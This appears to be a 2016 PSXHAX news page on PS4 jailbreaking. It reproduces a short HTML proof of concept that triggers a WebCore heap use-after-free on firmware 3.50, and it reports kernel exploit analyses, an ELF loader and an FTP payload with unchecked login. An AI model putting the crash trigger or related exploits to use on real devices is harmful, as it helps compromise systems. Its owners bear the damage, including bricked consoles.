PS4 Jailbreaking

PS4 Heap Use-After-Free at WebCore 3.50 PoC by Hunter128

Well that didn't take long since news of the PS4 Webkit Exploit for 3.50 broke, with PlayStation 4 developer Hunter128 stepping up to the plate with the heap use-after-free at WebCore 3.50 proof-of-concept!

Without further ado, here's what he had to say to quote: Hello. Appears this needs to be posted public.. Not sure who felt the need to want fame for this cough "Qwerty" but that's the last time i am sharing something special like this.

Anyone hoping for advancements for the PS Vita scene you can blame this guy on why because i am no longer sharing anything.

Anywho make an index.html

Code:

<html>
  <body onload='runTest()'>
    <script>
      function runTest(){
       document.writeln('<html></html>');
      }
    </script>
  <iframe src='1.html'></iframe>
  </body>
</html>

1.html

Code:

<html>
  <iframe src='2.html'></iframe>
  <iframe src='3.html'></iframe>
</html>

2.html

Code:

<html>
  <script>
      window.parent.stop();
  </script>
</html>

3.html

Code:

<html>
</html>

Should cause a out of memory error.

Shoutout to no one.. I have no friends

Greetz to @Plankton in the PSXHAX Shoutbox today for the news!

PS4 Jailbreaking PSXHAX May 21, 2016 at 3:38 PM 49

PS4 3.50 Webkit Exploit from PlayStation 4 Dev Qwertyoruiop

Last month a PS4 Webkit Exploit 2.XX PoC surfaced, and today PlayStation 4 developer qwertyoruiop tweeted news of a PS4 3.50 Webkit Exploit via a heap use-after-free at WebCore::TimerBase::heapPopMin() bug with a proof-of-concept incoming.

To quote from PS4BOT on this development: Hey,

I felt i needed to share with you guys as this is going to public.... Which i wasn't really hoping for but ah well. As you can see below Qwerty is about to post heap use-after-free at WebCore::TimerBase::heapPopMin() public. I do currently have the POC but i am not sharing. I guess 3.50 is now going to be the golden firmware hey?

Thanks to @toni1988 in the PSXHAX.COM Shoutbox for the news tip!

Finally, below is also an Atari Java emulator demo video from an Internet site running on PS4 3.50 from Ryan Henderson for those interested!

PS4 Jailbreaking PSXHAX May 20, 2016 at 2:52 PM 9

PS4 Developer CTurt on Analysis of FreeBSD Kernel Exploits

Earlier this month PlayStation 4 developer CTurt reported news of a new FreeBSD Kernel Exploit, and today he's updated Github with an analysis of both the FreeBSD SETFKEY kernel vulnerability (CVE-2016-1886) and the kernel heap overflow (CVE-2016-1887) for PS4 developers and hackers alike.

Check out his full analysis at the articles linked below:

PS4 Jailbreaking PSXHAX May 18, 2016 at 9:29 PM 7

Hitodama PS4*** ELFLoader with PS4 Kernel ELF Loading and Hooking

Following his previous work, PlayStation 4 developer Hitodama has updated the PS4SDK ELFLoader with basic PS4 kernel ELF loading and hooking among other updates according to his recent tweets below.

Download: elfloader-master.zip / ps4sdk-master.zip / ps4sdk-examples-master.zip / PS4Dev GIT / ps4-playground+hito-elfldr.7z / ps4-playground+hito-elfldr.7z via wildcard

To quote zecoxao from the Tweets below: To load an ELF on PS4, one must check TaiHEN's patches, specifically first 3 patches. many thanks to Zer0xFF who noticed this

Looking forward to further PlayStation 4 development news as a result of these great updates!

PS4 Jailbreaking PSXHAX May 17, 2016 at 8:39 PM 4

PS4 FTP Server & Debug Settings Join WebKit Playground by Fx0day

Recently we reported on the discovery of Sony's PS4 Debug Menu for retail consoles, and today PlayStation 4 developer fx0day (Twitter) updated CTurt's PS4 Playground (GIT) with an FTP Server and those handy Debug Settings!

To quote: Here's my little contribution for those who can't get funny things running: PS4-Playground with FTP Server and Debug Settings

You can connect to your PS4 using a FTP Client (Get Filezilla https://filezilla-project.org/download.php)

Connect to your PS4 Ip on Port 1337
Login Password are not checked

Take care when playing with your Ps4 files !!!!
You can brick your PS4 if you try stupid things !!!!

Ftp code is a mix of Xerpi , Bigoboss and myself , the Debug settings code come from Flatz.

You can use this version online : http://f-x.fr/PS4/

Or you can host it where you want using this archive : PS4_Playground_Ftp.rar / Mirror 1 / Mirror 2 / Mirror 3 / Mirror 4 / Mirror 5 / Mirror 6 / Fx0day GIT Repos via B7U3 C50SS

If you want the binary version of the Ftp+Debug : FTPS4rlz.bin

I'll post more infos and SKFU config for those who can't get it running ...

Props to...

PS4 Jailbreaking PSXHAX May 6, 2016 at 12:05 AM 21

PS4 Jailbreaking

PSXHAX Categories

Share This Page